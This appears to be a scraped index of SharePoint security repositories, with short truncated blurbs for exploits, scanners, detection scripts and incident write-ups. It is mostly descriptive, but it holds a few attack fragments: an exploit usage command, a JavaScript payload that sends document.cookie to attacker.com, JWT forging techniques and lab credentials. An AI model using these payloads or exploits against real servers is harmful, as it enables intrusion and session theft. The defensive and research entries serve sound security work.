mssharepoint-scanner

MS SharePoint Scanner A single-file, dependency-free defensive tool for Microsoft SharePoint that combines service discovery single or bulk with CVE assessment for two critical on-premises vulnerabilities: CVE-2026-55040 Critical 9.1 — JWT token authentication bypass CVE-2026-63520 High 8.1 —...

MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC PoC for: CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 PoC Video: https://youtu.be/u8mccaakISw...

ToolShell

Exploit for SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ How to use: python exploit.py -u -c Eg: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

CVE-2025-53770-Scanner

🛡️ CVE-2025-53770 SharePoint Vulnerability Scanner A Python-based tool to detect vulnerable Microsoft SharePoint instances affected by CVE-2025-53770 , an insecure deserialization vulnerability triggered via the ToolPane.aspx endpoint. The scanner sends a crafted, compressed ViewState payload to...

POC-CVE-2026-56164-exploit

CVE-2026-56164 — Microsoft SharePoint Server Authentication Bypass Exploit Critical CVSS 9.8 — Unauthenticated Privilege Escalation to Farm Administrator in Microsoft SharePoint Server Table of Contents Overview Vulnerability Details Affected Versions Architecture Diagrams Project Structure...

sparty

Sparty - Sharepoint/Frontpage Auditing Tool ! Authored by: Aditya K Sood |[email protected] | 2013 Twitter: @AdityaKSood Powered by: SecNiche Security Labs ! Sparty is an open source tool written in python to audit web applications using sharepoint and frontpage architecture. The motivation...

CVE-2026-15933

OptimiDoc Server On-Premise stores credentials for external services in cleartext. An authenticated administrator can view previously configured service passwords, including SMTP, FTP for scan delivery, Active Directory for user list import, and SharePoint credentials, in cleartext via the web...

CVE-2026-15933 Cleartext Storage of Sensitive Credentials in OptimiDoc Server (On-Premise)

OptimiDoc Server On-Premise stores credentials for external services in cleartext. An authenticated administrator can view previously configured service passwords, including SMTP, FTP for scan delivery, Active Directory for user list import, and SharePoint credentials, in cleartext via the web...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduction I went into a SharePoint zero-day called ToolShell CVE-2025-53770 in the LetsDefend lab. I mimicked a real-world zero-day attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection key...

ToolShellFinder

🛠️ ToolShellFinder: CVE-2025-53770 & CVE-2025-53771 Detection A high-performance PowerShell 7+ script for scanning IIS logs to detect signs of exploitation related to ToolShell , specifically targeting the zero-day vulnerabilities CVE-2025-53770 and CVE-2025-53771 in Microsoft SharePoint. This...

it-sec-toolshell

ToolShell — SharePoint Zero-Day Presentation A Marp slide deck about CVE-2025-53770, with each slide kept in its own file under slides/. Build root@kitploit: ./build.sh assemble slides into presentation.md ./build.sh html + render presentation.html ./build.sh pdf + render presentation.pdf...

CVE-2026-55040-Mass-Exploit

JWT Token Bypass Exploit for Microsoft SharePoint CVE-2026-55040, CVSS 9.1. Forge authentication tokens using three attack vectors: Algorithm "none" skips signature verification Weak HS256 secrets with brute-force dictionary support RS256 key substitution Impersonate any user including...

CVE-2023-29357-Check

CVE-2023-29357 Microsoft SharePoint Server Elevate Privilege Vulnerability This script will tell you if the target is vulnerable to CVE-2023-29357 Usage root@kitploit: python3 script.py Disclaimer This script is for educational purposes only. Do not use it against targets without prior mutual...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 – Análisis de Incidentes Resumen Este proyecto documenta la investigación de un intento de explotación real dirigido a un servidor SharePoint utilizando la vulnerabilidad ToolShell CVE-2025-53770. El ataque demuestra una cadena de explotación completa que inclu...

CVE-2026-55040

CVE-2026-55040 Exploit code for CVE-2026-55040, it can create auth header for any validate account. Details at: https://blog.viettelcybersecurity.com/sharepoint-cve-2026-55040/...

cve-2025-53770-research

cve-2025-53770-research 🚨 Threat intel & incident response research on SharePoint "ToolShell" RCE zero-day CVE-2025-53770. 🕵️‍♂️ Covers root-cause deserialization flaws, attack timelines, risk metrics, and defensive EDR validation playbooks. 🛡️ 🕵️ CVE-2025-53770 — SharePoint "ToolShell" Zero-Day...

CVE-2026-63520

CVE-2026-63520 Sharepoint unsafe type RCE + CVE-2026-55040 chain Unauthenticated RCE on Microsoft SharePoint Server. No credentials needed. Stephen Fewer Rapid7 demonstrated CVE-2026-55040 at Pwn2Own Berlin 2026. Rapid7 then discovered CVE-2026-63520 during follow-up research, and VulnCheck...

Sharepoint-cve-2023-29375-incident-response

SOC Incident Analysis: Microsoft SharePoint Server Elevation of Privilege CVE-2023-29375 An in-depth security investigation of a critical exploit and enumeration attempt targeting a Microsoft SharePoint server. Incident Overview Alert Name: SOC227 - Microsoft SharePoint Server Elevation of...

cve-2023-29357-Sharepoint

CVE 2023 29357 Information SharePoint Target Windows Server 2016 with SharePoint 2019 root@kitploit: Login : FSI\Administrateur Password : Admin123! IP : 192.168.56.4 Hostname : WIN-HEVUJ4GJMA6 Attacker Lubuntu Version 22.04.3 root@kitploit: Login : fsi Password : Admin123! IP : 192.168.56.3...